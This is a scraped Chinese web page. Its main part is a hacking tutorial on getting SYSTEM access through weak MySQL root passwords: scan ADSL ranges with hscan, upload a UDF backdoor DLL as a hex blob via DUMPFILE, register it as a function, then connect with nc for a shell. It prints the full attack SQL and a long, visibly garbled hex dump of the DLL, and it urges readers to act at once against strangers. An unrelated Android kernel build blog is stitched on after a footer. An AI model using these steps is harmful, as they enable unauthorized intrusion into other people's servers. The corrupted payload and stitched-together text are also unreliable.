摩托罗拉def+清明如何放假获得权限

由mysql弱口令取得system权限的实战
阅读:493次&&&时间: 10:34:00&&
=tpc_content>由mysql弱口令取得windowssystem权限实战 今年 5月mix在幻影论坛公布了篇有关mysql入侵文章(&&Windows环境下通过MySQL以SYSTEM身份 执行系统命令&&,连接地址='http://www.ph4nt0m.org/bbs/showthread.php?threadid=33006' target=_blank&http://www.ph4nt0m.org/bbs/showthread.php?threadid=33006),反应强烈.随 后不久,黑客基地古典辣m做了个演示动画,可惜其中用到mysql.txt并没有公布,造成很多不熟悉mysql 人不能实战入侵mysql. 其实通过注册mysql UDF DLL中自写Function而执行任意命令早在去年12月已经公布了,参看文章 ='http://www.ph4nt0m.org/bbs/showthread.php?s=&threadid=33331;' target=_blank&http://www.ph4nt0m.org/bbs/showthread.php?s=&threadid=33331;而mix实现直接从mysql客户端传送 2 进制文件进入服务端硬盘中,不得不说是个了不起发现!下面我来说说我入侵实战! 1.打开hscan1.2扫描段ip,我推荐大家扫描adsl所在ip段,这些段ip主人安全意思差,从而 能扫到大量mysqlroot口令为空且有访问mysql默认数据库mysql权限. 2.在自己机器上装个mysql for windows.下载地址 ='http://download.pchome.net/ernet/server/dbserver/2506.html' target=_blank&http://download.pchome.net/ernet/server/dbserver/2506.html 3.在幻影论坛下载个my_udf.dll或者mix.dll(我比较偏好my_udf.dll,mix.dll会造成mysql假 死). 4.运行winhex,打开my_udf.dll,点edit菜单下面copy all选打开记事本,点粘贴,这样 就把十 6进制my_udf.dll复制进去了! 5.再打开另外个记事本写入如下语句:
@a=concat('',0x...) create table Mix(data LONGBLOB); insert o Mix values("");update Mix
data = @a; select data from Mix o DUMPFILE 'c:\\my_udf.dll'; create FUNCTION my_udfdoor RETURNS STRING SONAME 'c:\\my_udf.dll'; select my_udfdoor(''); 6.把第 4步中记事本上十 6进制数据复制出来替换掉第5步中第 2行语句中"...",并保存到c盘根 目录下面,命名为mysql.txt. 7.在本地打开个dos命令窗口,跳转到mysql安装目录下面,输入mysql -h218.1.1.1 -uroot -p123 (注意,把218.1.1.1,root,123分别替换为你hscan扫描到ip,username,password值.如果password 值为空,则可以不需要参数-p); 8.在第7步中连接成功远程mysql服务器话,就输入 \. c:\mysql.txt并敲下回车.如果远程mysql 是运行在windows操作系统下且你扫描到mysql帐号权限足够高话,就会成功在远程服务器上装上你 后门. 9.最后用nc来连接此服务器3306端口,并输入密码fuck,按回车,如果shell没有出来,就多敲几次回 车.如果还是不出shell,那就换个目标试试吧. 下面我贴上我机器上mysql.txt内容,方便大家立即行动!不过后门密码不是fuck,我改为ping了. 欢迎大家光顾我小站 ='/.' target=_blank&/.我qq群7339欢迎加入!--------- ----------------------------------------------------------------------------------
@a=concat('', 0x4D5AFFFF00 00000E1FBA0E00B409CD21B8014CCD6D20 F756EF52E0D0D0A00002BBD33376FDC5D646F DC5D646FDC5DEDC5D64ECC053647BDC5DDC5D8DC5D646FDC5C6423DC5D DDC5DEDC5DFDC5D4500004C 010400DEB00E210B005000
D05AB00000
00F00000 002E00F0 602E0000 402E00E00FC02E72656C6F B
CBEC568BDB578DC2428 508DCCC000FFD68DC241C508DFF D6BC08D7C243C8BF3AB8BD42478 894CC243C38DC 899CFFB9CB2D0CD8C249C000000 52FFBF84CDBCF3AB8D442414 8D8C528BFFD585C00F842DC51 53FFD685C00F8E0D4000F85CBDBCF3AB8D44 BFFD585C00F849DC5153FFD685 C00F8EFFBA0AFFE90CFFFFFF6A008D942494 C68D4C241C6ACFF 153CD8C4CBF0E85E2EC85C3A6A64FF 6A0AFFE99DFEFFFFBFC9FF33C06A00F2AEF7D0 EE5D33C05B81CBC240CC578B7C FF5CBD8E8C885CFF FFE1FDFFFF83CE5BCB93F0000 C008BF3AB8B0D241C66ABAAA16C188A0D6860 ACCFFDBF8FFB 1D1C40C8D4CFFD350FFD2FFD08D E80E5F5E5B81C083ECC8D44 240C506A016A050B5FBE83C408C38B460C85CC241C558B2D C75350FFD585C083CEC5D5B8B460C85CC408C38B76 5CC241C3BC483CFBE83C408C38B7C8 516A046A2C0B5FBE83C408C38D0 BC05F24FC5E83CB7C698A4F8BF78B 4CD0B8A0A84C075F55E5B5F33C0C38AEB8D7EFF8A CA188A66FF83CDFEBB133C05E5B5F8AC2E9DFF5E 5B5FC38BC75E5B5FC38B0FFFA01AE80A743CA1 C98A0DFFDA32CE CAEB72FFA3D86F00A07 00E8EF0CE33C93BCC6900107EBDFF0D0CC690010 00E8CEE0AFD58C20C00558BEC53 8B5D8B7D3D0C83FEF FFD085CE8E7FEFFFF85CEB4EF0ACE8 C3FEFFFF85FE8B2FEFFFF85CC837D0CDC6F FFDB450C5F5E5B5DC20C00AFCCE82C0A 04E85C0ACCCCCCCCCCCCCC8D42FF5BC38DADA BD8C1EF7C38A0ACBD EB0ABFFFFEFE7E8BC18BF733CB03F003F983F1FF83F0FF33CF33C683C001 81EC45E5F5B33C0C38B42FC38DEF38DCE7C1E8 C074DC38DCD4EB965E5F8D42FF5BC38D42FE5E5F5BC38D42FD5E5F5BC38D42FC5E5F5B C3A1D46F02FFDEA10E8DBC3 6A006A01FF7A016A006A00EC40CC357E89FF393D606900 4C0CD0 6F228B0DCC6FFC3BF5C07402FFD083EE043B35D06FE E81CDB5B240889 3DFC36A0DE86A0AA0DE8C20A8B40C730D8B0685C0 7402FFD083C604EBED5EC356E8AAF8FFAA6A746A01E89C0A0 FFFFFCE04FF6AEC333 C05EC3EFF740E50FF155C600010FFC38BC740 C3AF8FF0F8B0D50FFBF085F485 C0A885C0A085C0A885C0740750 EBA485CC0A03D50E8 3B0A0AFFFFEC3558BEC83EC0A00 008BFA1BE896FCFFFFEF8DBF0 830EFF050AA1C06EEBDE8D45B850FF837DEA000F84D10000 008B45EC85C00F84CD45FCBBF87C028BF07D56BEC46E00 E8CFDBC000 CB0E83C000EBE083CF08B3DC06FFF7E4C8B45FC8B 388A03A750B51FF156C238BCE8BC6C1FB0C8DC06E00108D04 C08D04818B4DFC8BBFCCB433DB8B0DC06E3C81FF8D3481754D 85DBCAF658EB0A8BC348F7D81BC083C0F550FFBF883FFFF6C 740C25FFFEFEE7C97FF35C06F00 10FFF5E5BC9C3535657BEC06ECBFF0C837BFC007407 53FFB3BF872E2FF36E81FEC06F00107CB8 5F5E5BC3DC86FEBFF8A063ACDB60900 EBE88D04BDE81C93BFE854FAFFFF598B3D1069 03F3DEA09E825FAFFFF5957FF36 E3C1F75C95DFFE91DE5F5EC705C46F001001 58BEC1DC86FEBEFF A1D86F00108BFEBF88D45FDF88B4DFC8D BF083CA08E883F9FFFF598D45F8B45FC8DEB45FC 83CEABC9C3558BEC8B4D188B008BD0CC 008B897D0CA250FB6D2F682A16DC FFAFFAEBCEFFFF0185 F00FB6DAF683A16DCFFAFA0980FA FFFFA750340EBF1 CFFCC8BDB43EBF78038 27D228DBC2EBD0C33DC EB8BD34B85D404C4B75F38A7DFA743A837D FDAF683A16D8AF0FB6D2F682A16D FF01FFFFFFFF85F6FF01E917FFFFFF85FFBBFF005DC 6AD33DB33F633FF3BC37533FFD58BF03BFAEB28FF1584 BFB0F84EA686AE98F0FBF3750CFFD58BF03B F30F84CE8BCBC68B3DF05653 FFD78BE83BEBBFFFFD785C0750EFF C056FF157CEBC3BFB750CFFBF83B FB743C381F8BC5FBBCD93BFEB0B 0AC57FFBC6EBE5D5BAC050FF1590 A3A86E0D0FFF35A86EC36ADB391D70 6CDA78B3D0CFFD 006A00FF36FFD7FFA86E0010FFD583CD706C00107CCE5F5EFFA00FF35A86E 0010FFD5FF35A86EAAFCC 00A16C6A02FFD068FF8BEC81ECAB B8C40B83C68BF1C1E E50D833D1CDFAFCFCFEFFFF68 A00FFCCFEFFFF68CD855CFEFFFF57508DBD 5CFEFFFFE81CF83CCFEFFFF50EBF88D855CFEFFFF83E83B6A F8D8560FFFFFF68AEB0FFFFFFFFFF FF68ADD020000FFB6C0FFFFFF50E8CBFFFFFF687C530010 50EC42C5FEB268D4FF36E87CFF366AF4FFFF15 3CC010FFFFD6FFFFD6FFFFD6FFFFD6 5ECD5CFEB81FE81 FEB50FFD7FF36E3C6107CC4FFFFD7FFFFD7FF FFD7FFFFD75F5EC3558BEC8BD753E576A18E8 2B985FFF3FFFF596A11E8CAFFFFFF833EAFF159CEEB06E8B700 E80DFFF36FF15ADC3558BEC8BA356 8BFAFFEE08BDE770D85FE83C60F83E6F033FF83FEEDAD6A 09E854FFFFFF53EA098BF8E8A6FFFFFF83C40C85FF752B566A08FF35A86E0 FFAE8C97414EBABC8BC75F5E5BC333C0EB F5FE8EDFEFFFF56E89BCE8BE834FFFFFF83C40C 5EC36A09E828FFFFFFA86E0E46AE9C383 7CFFCEC0C3568B74 A09E862FEFFFF56EA098BF8E8B4FEFFFF83C40C85FF7C85F6 C60F83E6FA86ECCCCCCCCCCCCCCCCCCCC578B7C2408EB6A 8DABFF8B4CCF8A3BF7CF18B01BAFFFEFE7E03D0 83F0FF33C283C104AE88B41FC84C1AA9EA02EBCD8D79FFEB 0D8D79FEEB088D79FDEB038D79FC8B4C240CF7C98ACEEEB05 BAFFFEFE7E8BFF33C28BD27F7C2 12F7C02EBC78B078B 085FC38B4CA40F7CFB01BAFFFEFE7E03D083F0 FF33C283C104AE88B41FC84C24A9A02EBCD8D41FF8B4C24 042BC1C38D41FE8B4C2D41FD8B4C2D41FC8B4C28BEC83ECE8 A4FCFFFFFF008BDCEDB0FD2B8A8 DCF18D45E8BC60FAE C0BFA06DF3ABAA891D786C0000807DEE000F84BCDEF8A1184D2 0F84AF1FF0FB6D23BC20F88A16DEBEE5933C0BFA06D00108D 3452F3ABC1E604AA8D9EBB008BCB742C8A250FBBCFC8A92A06200 D6F5D4FF45FC83C308837DFC8CA3 786C010A5A559A3A46E0F8547FFFFFF8BC680 88A16DDFFEA3A46EC8C6CBF806C 0010ABABABEB0E833DD06AFEBDCFEFFFF83CEFF6A19E870FBFFFF598BC65F5E 5BC9C38BD06AFEAFF25BFDA0010 BFC750FA5D06AC38BE80474 CC3BBBB76ABFA06D00 10F3ABAA33C0BF806C10A38C6CE0010ABABAB5FC3558BEC81ECEC5650FF FF15AC0FC0BE05ECFEFFFF403BC672F48A45F2C685ECFE FFFF578D55F30FB60A0FB6C03BCDBC05ECFEFFFF41BBD9C1E902F3AB8BCB 83E103F3AAC075D05F5B6A008D85ECFAFFFFFF35A46ECECFEFFFF56506A 01E8DD85ECFDFFFFFF508D85ECFEFFFFA46E006A008D85 ECFCFFFFFF508D85ECFEFFFF00FF35A46EEC33C08D8DECFAFF FF668B11F6CA16D5ECFDFFFF0EB1CF6CA16D5 ECFCFFFFEBE380A0A06C3BC672BFEBAD001010 8AC880CCFA770E0EBE080A0A06CB C672BE5EC9CAFDE818FCFFFF59C705C86FC3CC558BECB4D10 8B7D088BC18BD103C63BFE7C4C1EFA5FF249548 2B0720C83EFF248D582B8DDC2A 109C2A023D18A2C1ECF90872CCF3A5FF2495 482BD18A1C1ECFA5FF09023D18A E728CF3A5FF08D02C2B01C2B00C 2B0FC2AEEB448EEB448EEC89448FEC8B448EFB448E FB448EFB448EFC89448FFC8D048DF003F8FF08BFF582B001060 2BBCBCAB45085E5F C9C38D8AABCFC8D7C39FCF7C4C1 EF908720DFDF3A5FCFF08BFFF7D9FF248D902CBC7BAF90472 0C83E85E82BDE02CBA44F 83F90872B6FDF3A5FCFF08DD2C1EEEF90872 8CFDF3A5FCFFD1C1EEEF9080F 825AFFFFFFFDF3A5FCFF08D09C2C0AC2C0BC2C 10D72CCB448EB448EB448EB448E0CB 448EB448ED048DF003F8FF08BFFF02C0082D00 101C2DE5FC9CE5FC9C38DE5F C9CE5FC9CA00FF35A86E00 6C256C6C6CAA170 6CAD0C883BCFA83C014EBE833C0C3558BEC83EC 148B550C8B4D08BF22B710C8B5AFC83C2FC57C1EE0F8BCE8B7AFC69CB897DFC8D8C0144 DFC13F6C57FC1FF894D0C3BCFC8B4C875 488B4D0C83F920731CBFEF8D4C7CB044FED83C1E0BF EF8B4D0C8D4CBCB0CCC8 035DFDF48BFBC1FF044F83FF3FF8B4DFC83E101894DEC0F85AFC8B4DFCC1F9 046A3FBCA894D0CBCA035DFC8BFB895DF4C1FF044F3BFA76028BFA3BCF746B8B4DF88B 488B4D0C83F920731CBAEA8D4C54B044FED83C1E0 BAEA8B4D0C8D4C94B0CDF88B4A048B 4DF88B4A088B55F8837DECC0FB4DF08D0CF98BB4DF08D0C F48B4AA043B4AC884D0FFEC50EBB BCFD3EB8B4D0000808BCFD3EB8D44B807D0FFE0BBEB 8B4DFE0BFEF8D84B0CB5DF48B45FFCFF080F85FA 6C6CF84DFD646CF03480CBBFFD78B0D 646CC80D3EAC6CCA488CC6C0010 8BA16C6C6004FEA16C6CFF756C536A00FF700CFFD7A16C6C A00FF35A86E108BD8BC8A16C6C00102BC88D 4C11EC518DF0AC40CFF0D706CCEC 6C08A36C6CCBC9C3558BEC83EC14AB568D0480 578D3C828B4508897DFC8DFF7D0E83CEFFD3EE834DF8FF83C1E083 C8FF33F6D3EF8ABD83BDF895DB048B3B234DF823FE0BCF750B83C3143B5DFC 895DDFC75798BDA3BDB4B048B3B234DF823FE0BCFEBE63BDDFC73 D08EBED3B5DFC75268BDA3BDD837BC314EBEE3BD 5DB895DDAB0C0E90F6C00108B FAFFB8C90CC3FE0BCF55F82375 F4440BD68B75FFC8BFE2B55FC8BCA33FF69 CD8C4DF48B4C0D8B8C90C34DF85F85C97C05D1E147EBF78B 4DF48B54FB4DF08BFFE044E83FE3F7E036A3F5E3BF70F840DA043B4AFF 207D2BBBBCFD3EB8B4DFC8D7C5DEC235C4FE0FB4DEC210BEB31 8D4FE0BBEB8B4DFC8D7CCD3DEC750B8B5D088B4DEC214B04EB03 8B5D088B4A088B7A0B7ADF48B7CF97A04894A AA043B4AC884D0B7D29FEC84C0604750BBF000000 808BCED3EF093BBFBCED3EF8B4DFC097C8844EB2FFEC84CD4EE0BF EF097B048B4DFC8DBC88CEE0BEEE5CC11FCEB038B4DF88B75 F003D18D4EFC8B75F48B0E85C98DA3B1D6C6CDFC3B0D646C 256C6CDFCF5E5BC9C3AB0D606CFF3BC950C1E00250 FFFF35A86E0010A06CC0010 68CDEFF15AAFF 15BFFA86EEB3E897E04FF05706C00 108BBC65F5EC3558BEC518B4D108BC07C05D1E043EBF78BC36A3F69C004 D4A75F48BFB6A04C1E70F00 57FF15B50883C8FFEDBFA773C8DFF0FF8D88FC 0FFCF00FFCEFFFFFE80FD48F03BCA76C78B45FC 8D4F0C05FF8D4A0CBC9EC38AC8FEC184 C08BBABCBD3EAF7DF5E5BC9C3DD46A FF15CBFB1057FFD685C0A3D46AF FFD668ED86A0010FFD6A3DC6AA16FFD08BD885DB740EA1DC6A05 53FFD08BD8FF53FF15D46ABC333C0EBF8CCCCCCCCCCCCCCCCCC8B4C240C57 85CBD98BCB7CE902756FEB218A29F7C6 EB8BD9C1E42F4B75F38BE5FC3F7C F848ACEE8BD9C1EB5E8B 74AFBAFFFEFE7E8BFF33C28BD1EF7C2CF7C2 C6E2FFFFE81E2FFEBCA33C08907 83CEFC3CCCC8BC3FA0472 2DF7D983EFA8BC8C1EC1E01003C18BCA83E203C1EAB85D27406 FA8BBA1E06A0FFF742404FFD085C8C333C0C3558B EC6AFF503FEC1CE833FF393D086B BEFF15CC10EBC FF15CFCD147E10FFE89E4514A1 086B751DFF751CFFFFCFF0F85D30000 A14FFF7D81BC083E20FF15C9 5DE43BDF0F849CDFC8D041B83C00324FCE8ABE88BC4DFCFFEB136A E833FF897DDC834DFCFF8B5DE4397DDCDCFFA01FF4D575753 FF75DCFF750CFF0D83BFDC0F84BC7F1EFF75 1CFFDCFF750CFFF858FD65C88B4DFE5B C9C3C745FCFCE8FE88BDC895DE0834DFCFFEB126AE833FF33 DB834DFCFF8B75D83BDF74B4FF75DCFF750CFF9C397D1CEB 06FF751CFF20FFBF03BF70F8471FFFFFF8BC6E96CFFFFFF8B 8D4AFF740D8BF52BBC2C3558BEC6AFF 064A083ECE8A10C6BBCE4506A01 5E56FF15DD8D45EDF84CE00 A30C6BBCAFFCFFD0500010 E99F0F5D6B53FFBBC083E00840 50FFBCDFC8D3C008BC783C00324FCE87AE88BF4 E84AFCFFFF83C40CEB0B6AE833DB33F6834DFCFF3BF3FFA01FF7518FF15 C410FF08FF15D33C08D65CC8B4DFE5BC9C3CCCC CCCCCC558BECB4D108B7D088BC18BD103C63BFE7C4C1E902 83E9F3A5FF08BC7BAEEFF248D783C 8DFC3B10BC3B023D18A2C1EC6 F90872CCF3A5FF08DA1C1ECF90872 A6F3A5FFCF3A5FF08D04C3C00 C3C02C3C01C3CEEB448EEB448EEC89 448FEC8B448EFB448EFB448EFB448EFC89448FFC8D048DF003F8 FF08BFF783C08C3C08BCBC3908A 85E5FC9C38D8AABC FC8D7C39FCF7C4C1EF908720DFDF3A5FCFF08BFFF7D9FF248DB03D0010 8D4720C83EFF248D003E3D00 108A44F83F90872B6FDF3A5FCFF08DD2C1E9 EEF908728CFDF3A5FCFFD1C1E9 EEFAFFFFFFFDF3A5FCFF08D0BC3D0CC 3D0DC3D0F73DCB448EB448EB448E B448E0CB448EB448ED048DF003F8FF 108BFF103EC3EE5FC9CE5FC9C38D 85E5FC9CE5FC9C3CCCCCC55 8BEC6A0FFE5B8BE55DC38B4C0000 902B410506AFEFF 8BFEFF742E3BD94C7CB101 EFF54B308EBCF5E5BC333C83E00 C8B520CB351BBBA5351BBBD0489 6B0C595BC20400CCCC3030558BEC83ECFC8B5D0C8B20000 BD45F8C8B7B0883FEFF37C8F8D6B10FF548F04 5D5E8B5D0C0BCB7BFEFFFF83C653E8DEFEFFFF83CA018B448F08E8 61FFFFFF8B048F89430CFF548F088B7B088D0C768B348FEBA1BEB1CBEBAFF53 E89EFEFFFF83CE5B8BE55DC88B298B411C508BFEFFFF83C4085D C20400CCCCCCCCCCCCCCCC513DCED3DEC2BC88B CB088BCCFF25D8500010CCCCCCCCCCCCCCCCCCCC558BECD100BC90F84E9000000 8BC8D05E86A754EB741B35ABA260AE48A41D0638 DCF0DC40F849BFFFFFFFF0FF7D9E9 FF055C6CCA00EB19F0FF0D5C6C0E8BAE1FFFFC 008BCB33C033DB8BFF8A060BC08A1F74230BDB741FEBD883C404E83D593B C3C93BC37409B9FFFFFFFF0BCD5C6CBD96A13E8BBE1FFFF83C4 048BCB8BC15B5E5FC9C3558BEC5D8B0F8CAAA0F8FA10000 D08BF3BDF5E7D3E8CEEB0AA1D064 C685CEB658B15DC1FFF 5DBCDFC6A8AFFFF83C AE3BC5FCEB0D0FB645FD0FB64DFCC1EE5BC9C3CCCCCCCC8BC0000 A50AE3AAC83C2040A E475D28BFF33C0CE040C38BFFF7C48AEF7CA866 8B75D20AC074CA3AAE474C183C102EB8CCCCCCCCCCCCCCCCCCCCCCCCC558BEC 508B550C8DACFAB0424EBF38BFFAC42473 F28BC183CCCCC558BECD10ED088BF733C0F2AEF7D903CB8BFE8B750CF3A68A46 FF33C93A47FFF7D18BC15B5E5FC9C3CCCCCCCCCCCCCCCC558BECB550C 8DACFAB0424EBF38BACFF83C8BEC518B FC8B0DD441EB528BC0FB6D1FE 740EDFCEB88D4D0A6A016A006AFC506A01E8E5F5 FFFF83C41C85CFBCC9C3CC558BECC8B7D088D05E86A753BB0 FF8BFF0AC68AF22C413C1A1AC980E6E02C413C1A1AC980E8 E074D21AC01CFF0FBEC0EB78F0FF055C6CCA00EB15F0FF0D5C6CADEFFFF C0B8FF0AC68A1F53E8D8FCFFFF8BD883C404E8CEFCFFFF 83CDA1BC083D8FF8BDF0FF0D5C6CA13E85ADEFFFF83CE5FC9C353 568B48BF7F18BD88B4BD3EB418BC88B5C8B4424 0CD1E9D1DBD1EAD1D80BC975F4F7F38BF0FBE603DB44240C76 014E33D28BC65E5BC21000CCCCCCCCCCCCCCCC538B08BF7F18BF1 8BC233D2EB508BC88B5CC8BE9D1DBD1EAD1D80BC975F4F7F38BC8F4241003 D40CBBB54240CF7DAF7D883DA005BC21000CCCC CCCCCCCCCCCCCCCCCC8BC2C240CF7E1CE18BD88B24 408F7E103D35BC0000000
EA00FC5600 007C00A62 000AADA1E5900 EE000AAEA000E 5AA04E5AA0A65A E000D0AF5353 0D0AEF720D0AF4D726F720D0A DC96E7A0D0AA2D20 6E6FFF96F616C697AE0D0A000000 0D0A2D206E6FFF6F616C697A E0D0AA2D6C3616C6C 0D0AD206E6FFFE7465 626C650D0AA2DCFF6E736F6C65 650D0AA2DA00 D6D756CF636B0D 0AA2D206E6FFF61 0D0A000D0AD616C26D696EE0D0AA 2D206E6FFFD656E740D0A0D0A2D20 6E6FFF6D656E20D0A2D20666C 6F06E6FA616C20 432B2B96D000A0A696DF26F AE2E003C6D206E616DB6E6F776E3EC F6F33322E 646C6C0000FFFFFFFF0010FFFFFFFF0010FFFFFFFFCB 3AD3A642C204D4D4D4DD2F642FD00 E6F746F572 A756CA756E2 EF4A756E004D 004D004A616E 004D6F6E756E F6EF6E 004A616E94A756E4A756C4F 00DC000000 EEA C000F05600 004E009CCC 4EE000AA5900 00B025A01A5AA05E5A000074 5AA CE616D003D696C7265 F7300003A F6E646CF6C654E616D476574 E26F6D6F6C C036CF004B 322E646C6CD46F4D414745 484C502E646C6CFCD616E644C696E EEF0C EDC546CF54 6CDC6C745374 C6E666F6C E00C56EE6D656EE 6EE6D656EED756C 456EE6D656EED656EE BF6C 00BACAF00456E74 EE C6F6F00CD56 C416C6C6F416C6C6FF02024D 756C546F4C434D6E4C434D 6E696EE6C 556E000000DEB0010000 00F85AB5FC6C006D795FF720000
00E00000 005E5F5EB790A 6D642E6EBC 00FFFFFFFFFFFFFFFF000A00 FC5200100A AC007CF45100 CCB FC10FF706A00 A06A0000000
001DDE0000 0CCCC0080000 A A1A FCDAA081FE40 FEBA3DAA081FE 0000CFA2E4A21A00E5A2E8A25BFE000000 EA1FEEDA20005FDA6ADA81D3D8 DEE0FFEF0
002E00F8 CC103CC5500 CFE CCFCA 104C002E00A 6BBBF7F7F7F7F7F7F7FA86700 00F0F1FFFF
00ECFFFFFFFFFFFFFFFF00 00FFFFFFFF1E000B0000F3 E000FFFFFFFF1E000B40000 00D2F00000
301BBE30CB30ECBA31D531F8 CE32A432B532EB32F332FFD335C 339F33CEF34FEE DC037C737D737DD37E437EEA 38A438AA38BB38D438E038E638FBC339C939EB39FFD3A7F3A893AAA3ABF 3AE33A0D3B1B3B4C3B523B5F3B803BA53BB43BC33BF53B053C483C543C5E3C723C803C8D3C923C983CF33CFA3C42 3D873D6A3E833EB83EC03EDA3EE63EF63E353F853F983FD63FFA3F36 303EBC030E630FF31AB31C931D531F13106 321CBA632AE32B632C932D132FE 332F335E833FEFE636B836CA36D936FA3600 A376FCA37D437DF37E937F337FB 386EEBCAA39B639C839D639E539FA573A5F3A64 3A683A6C3A953ABB3AD53ADC3AE03AE43AE83AEC3AF03AF43AF83A423B483B4C3B503B543BBA3BC53BE03BE73BEC 3BF03BF43B113C3B3C6D3C743C783C7C3C803C843C883C8C3C903CDA3CE03CE43CE83CEC3C3E3D443D4B3D543D5B 3D633D693D743D7C3DCB3FD93FDF3FF93FFE3F69306F 307CAA30B030BA30C030D030DAD33B833C033D333D933EF33F633FC13417 A345BDAD35B435BC35C235C935CE35DF35FBE 37AD37BA37C737D137DB37E337FD239D839DD39FA253A2D 3A3D3A4E3A613A793A993AEF3A013B583B703B773B7F3B843B883B8C3BB53BDB3BF53BFC3B003C043C083C0C3C10 3C143C183C623C683C6C3C703C743CDA3CE53C003D073D0C3D103D143D313D5B3D8D3D943D983D9C3DA03DA43DA8 3DAC3DB03DFA3D003E043E083E0C3E643EA53E0E3F283F313F2C30E430EA30F83056 C131DAD330EA34B C430CC30D430DC30E430EC30F430FCC4314C D434E836F036F436F836FC370C371C372C 373C374C375C376C377C 378C37A837AC37B037B437B837BC37C037C437C837CC37D
); create table Mix(data LONGBLOB); insert o Mix values("");update Mix
data = @a; select data from Mix o DUMPFILE 'c:\\my_udf.dll'; create FUNCTION my_udfdoor RETURNS STRING SONAME 'c:\\my_udf.dll'; select my_udfdoor('');
上篇文章: Unicode漏洞制造
下篇文章: 有关mysql&3.0注射点思路
[商业源码]&
[商业源码]&
[商业源码]&
[商业源码]&
[商业源码]&
[商业源码]&
[商业源码]&
[商业源码]&
[商业源码]&
[商业源码]&
Copyright &
All Rights ReservedAndroid BSP生长计划随笔之虚拟设备搭建和input系统_ArcGIS权限分析-如何对同一要素类对不同要素设置权限(Oracle)_gcc 学习笔记(1) - 编译C程序 及 编译过程__脚本百事通
稍等,加载中……
^_^请注意,有可能下面的2篇文章才是您想要的内容:
Android BSP生长计划随笔之虚拟设备搭建和input系统
ArcGIS权限分析-如何对同一要素类对不同要素设置权限(Oracle)
gcc 学习笔记(1) - 编译C程序 及 编译过程
Android BSP生长计划随笔之虚拟设备搭建和input系统
Android BSP成长计划随笔之虚拟设备搭建和input系统由于工作关系,对Android关注将从FWK(Framework)转向BSP,也就是Linux Kernel。在工作的5年中,曾经数次研究过kernel,但一直没有合适的机会或者说推动力去深入研究。这次有机会了,岂能放过呢?
以前搞kernel,总是觉得没有合适的设备,都玩不转。最近琢磨了几天,打算从android虚拟设备goldfish开始吧。(惭愧啊,以前还买过一个板子,结果完了2天就腻味了)。
本随笔包括一下几个部分:
先介绍Android kernel的下载和编译。
配置模拟器以使之使用我们编译的kernel。
介绍下输入系统方面的内容。我的目标是在最短的时间内把Android的驱动撸一遍。在这个过程中,流程,模块之间的关系最重要。细节问题到以后碰到具体情况时再来深入研究。
一 Android GoldFish kernel下载和编译
老方法,用git下载。kernel和非kernel代码不在一个git库中,Android的代码由repo下载,而kernel得单独用git下载。goldfish的代码下载方法如下:
先在Android JB源码根目录下建立kernel目录。
cd kernel,然后git clone /kernel/goldfish.git
(还可以下载高通的msm,普通common及omap分支的kernel)
下载完成后,得到kernel/goldfish目录。cd kernel/goldfish
git branch -a,查看所有分支。里边有2.6.29以及3.4的
git checkout -b 2.6.29 remotes/origin/android-goldfish-2.6.29
建立本地分支2.6.29 用以跟踪远程的android-goldfish-2.6.29分支。此时goldfish目录下就有文件了。
下面就来编译。假设我们已经下载了JB源码。
还是在kernel/goldfish目录下。执行make ARCH=arm goldfish_armv7_defconfig
这个命令执行前,make将到arch/arm/config下读取goldfish_armv7_defconfig文件,获得板卡(恩,没有真实板卡,有一块虚拟的板卡)相关的编译配置文件(无非就是定义一些宏,使能kernel一些功能模块,驱动等等)。该命令执行完后,将得到一个.config文件。
设置环境变量export CROSS_COMPILE=Anroid-JB/prebuilt/linux-x86/toolchain/arm-eabi-4.4.3/bin/arm-eabi-
这个是设置交叉编译工具链的位置和前缀。这样在编译kernel时将使用这个前缀+gcc相关工具来编译kernel
然后就是make ARCH=arm。编译完成后最后一个输出就是 Kernel: arch/arm/boot/zImage is ready
zImage就是最后编译得到的kernel内核镜像。关于kernel内核镜像的组成,请参考我的前一遍博文http://blog.csdn.net/innost/article/details/6693731
OK,到此我们就到得自己编译的kernel了。下面就是找个机器把它烧进去并启动之。由于我们没有真机,那就找模拟器吧。
二 利用Android模拟器加载goldFish kernel
我在JB源码目录下建立了一个android emulator脚本,各位看看其内容:
/disk/android/android-sdk-linux_86/tools/emulator
#这是android emulator的文件位置
#启动4.1这个机器,我之前已经用AVD工具制造了一个名叫4.1的机器
/Android-4.1/out/target/product/generic/system.new.image
#我自己定制了一个极简单的system.image,里边只有5个APK,这样启动速度贼快。此参数用来指定该机器运行的system镜像文件
/Android-4.1/kernel/goldfish/arch/arm/boot/zImage
#此参数用来指定kernel镜像文件。现在已经指向我自己编译的kernel了
/thunderst/work-branches/Android-4.1/out/target/product/generic/ramdisk.new.img #我也重新定制了ramdisk,修改了其中的init程序。此参数指定ramdisk镜像文件
-partition-size 512
#指定system和data分区大小为512MB
有了这个脚本,我就happy了。感觉比烧真机再启动要爽、快多了。
解释下ramdisk。ramdisk我们的android根目录的一个压缩表达文件。其操作如下:
假设已经有一个x夹文件,现在想把它打包成ramdisk文件。
首先读取x文件中的目录信息,然后写到结果文件ramdisk.temp。然后遍历x目录的所有文件(直接open,然后read吧,管你是二进制还是啥文本文件)。所有读取的数据都写到一个最终文件中。假设是ramdisk.temp. 这其实是得到一个archive的过程
再用gzip压缩此ramdisk.temp,得到ramdisk.image(后缀名是自己取的)。
如果现在已经有了一个ramdisk.image,如何还原它呢?
可用file ramdisk.image看看此文件信息,发现它是一个gzip压缩的文件(正如上面所讲)。gunzip ramdisk.image就可以了。
然后建立一个文件夹,mkdir test,并cd test
cpio -i -F ../ramdisk
这样,刚才那个ramdisk.image就反archive到test目录了。以前x目录中的内容又回到test目录下了。
ramdisk下基本就是android 根目录的内容,例如init,init.rc等等。所以,如果你在模拟器上改了这些文件,重启机器后也没有用。因为这个根目录是解压ramdisk后得到的,而原始的ramdisk并不会得到修改。所以,如果你要修改根目录下的内容,那只能重新制作ramdisk了。方法就是上面讲的,非常非常简单。【请阅读《Embed Liux Primer》一书】
三 Android goldFish输入设备
/dev/input/event0的来历
说实话,我刚开始唯一知道的就是FWK中读取输入事件的是在EventHub的getEvents中,里边将打开/dev/input/event0设备。从此往上溯源。event0这个设备按道理应该是通过ueventd这种方式自动生成的。系统里边倒是有一个ueventd,在sbin下,可惜这是一个链接,由指向了/system下的init。init可以处理ueventd事件?我印象中2.2好像没这么搞。那有可能是之后的版本了。
查看init的代码,果然里边有个if分支将走向ueventd_main,这里就是打开ueventd.xxx.rc文件。这个文件和我之前理解的不太一样。它就是根据配置文件建立/dev/下的设备文件,并设置权限。
